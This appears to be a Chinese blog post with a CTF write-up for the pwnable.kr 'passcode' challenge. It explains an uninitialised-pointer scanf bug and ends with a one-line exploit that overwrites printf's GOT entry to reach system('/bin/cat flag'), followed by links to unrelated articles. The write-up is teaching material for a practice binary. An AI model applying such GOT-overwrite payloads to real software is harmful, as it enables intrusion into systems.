博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
【pwnable.kr】 passcode
阅读量:4206 次
发布时间:2019-05-26

本文共 2513 字,大约阅读时间需要 8 分钟。

下载程序

scp -P 2222 -p passcode@pwnable.kr:/home/passcode/* ./

漏洞信息

程序main函数中,welcome和login存在栈复用,welcome调用gets向ebp-0x70读入100个字符。 
login中scanf没有取地址,因此会把[ebp-10h]和[ebp-0xch]的内容当成要写入的地址。

在welcome中,我们有一次布置数据的机会,可以造成信息泄漏、布置dirty data。 

在login中,我们可以两次任意地址写,每次写4byte。 
如果想进入system流程,需要修改[ebp-0x10]和[ebp-0xc]的内容。由于没有栈地址,在welcome中泄漏出数据之后就不能布置dirty data了。因此,考虑利用任意地址写来hijack GOT为.text中system的地址,首先需要在welcome布置[ebp-0x10]为printf GOT地址。

scanf format %100s可以读取100 byte,正好0x60*”A”+PRINTF_GOT_ADDR也是100 byte。多的输入正好给了login中的scanf %d,也就是向GOT表中写入的值。

IDA pseudocode
unsigned int welcome(){  char v1; // [esp+18h] [ebp-70h]  unsigned int v2; // [esp+7Ch] [ebp-Ch]  v2 = __readgsdword(0x14u);  printf("enter you name : ");  __isoc99_scanf("%100s", &v1);  printf("Welcome %s!\n", &v1);  return __readgsdword(0x14u) ^ v2;}int login(){  int v1; // [esp+18h] [ebp-10h]  int v2; // [esp+1Ch] [ebp-Ch]  printf("enter passcode1 : ");  __isoc99_scanf("%d");  fflush(stdin);  printf("enter passcode2 : ");  __isoc99_scanf("%d");  puts("checking...");  if ( v1 != 338150 || v2 != 13371337 )  {    puts("Login Failed!");    exit(0);  }  puts("Login OK!");  return system("/bin/cat flag");}
IDA disassemble
.text:08048564 ; __unwind {.text:08048564                 push    ebp.text:08048565                 mov     ebp, esp.text:08048567                 sub     esp, 28h.text:0804856A                 mov     eax, offset format ; "enter passcode1 : ".text:0804856F                 mov     [esp], eax      ; format.text:08048572                 call    _printf.text:08048577                 mov     eax, offset aD  ; "%d".text:0804857C                 mov     edx, [ebp+var_10].text:0804857F                 mov     [esp+4], edx.text:08048583                 mov     [esp], eax.text:08048586                 call    ___isoc99_scanf.text:0804858B                 mov     eax, ds:stdin@@GLIBC_2_0.text:08048590                 mov     [esp], eax      ; stream.text:08048593                 call    _fflush.text:08048598                 mov     eax, offset aEnterPasscode2 ; "enter passcode2 : ".text:0804859D                 mov     [esp], eax      ; format.text:080485A0                 call    _printf.text:080485A5                 mov     eax, offset aD  ; "%d".text:080485AA                 mov     edx, [ebp+var_C].text:080485AD                 mov     [esp+4], edx.text:080485B1                 mov     [esp], eax.text:080485B4                 call    ___isoc99_scanf
EXPLOIT

python -c "print 'A'*0x60 + '\x00\xa0\x04\x08' + '134514147'" | ./passcode
你可能感兴趣的文章
面试刷题32:你对tomcat做了哪些性能调优?
查看>>
面试刷题33:如何应对高并发?
查看>>
面试刷题34:说一下分布式架构中的缓存使用场景?
查看>>
面试刷题35:负载均衡有哪几种实现方式?
查看>>
面试刷题36:线程池的原理和使用方法?
查看>>
面试刷题36:线程池的原理和使用方法?
查看>>
面试刷题37:微服务是什么?springcloud,springboot是什么?
查看>>
技术面试要做哪些准备?
查看>>
kafka的基本体系结构
查看>>
kafka消息分区机制原理
查看>>
kafka高吞吐量之消息压缩
查看>>
如何保证kafka消息不丢失
查看>>
如何保证kafka消息不丢失
查看>>
请设计一个核心功能稳定适合二开扩展的软件系统
查看>>
kafka可插拔增强如何实现?
查看>>
COLA的扩展性使用和源码研究
查看>>
SOFA入门
查看>>
DDD之1微服务设计为什么选择DDD
查看>>
DDD之2领域概念
查看>>
DDD之3实体和值对象
查看>>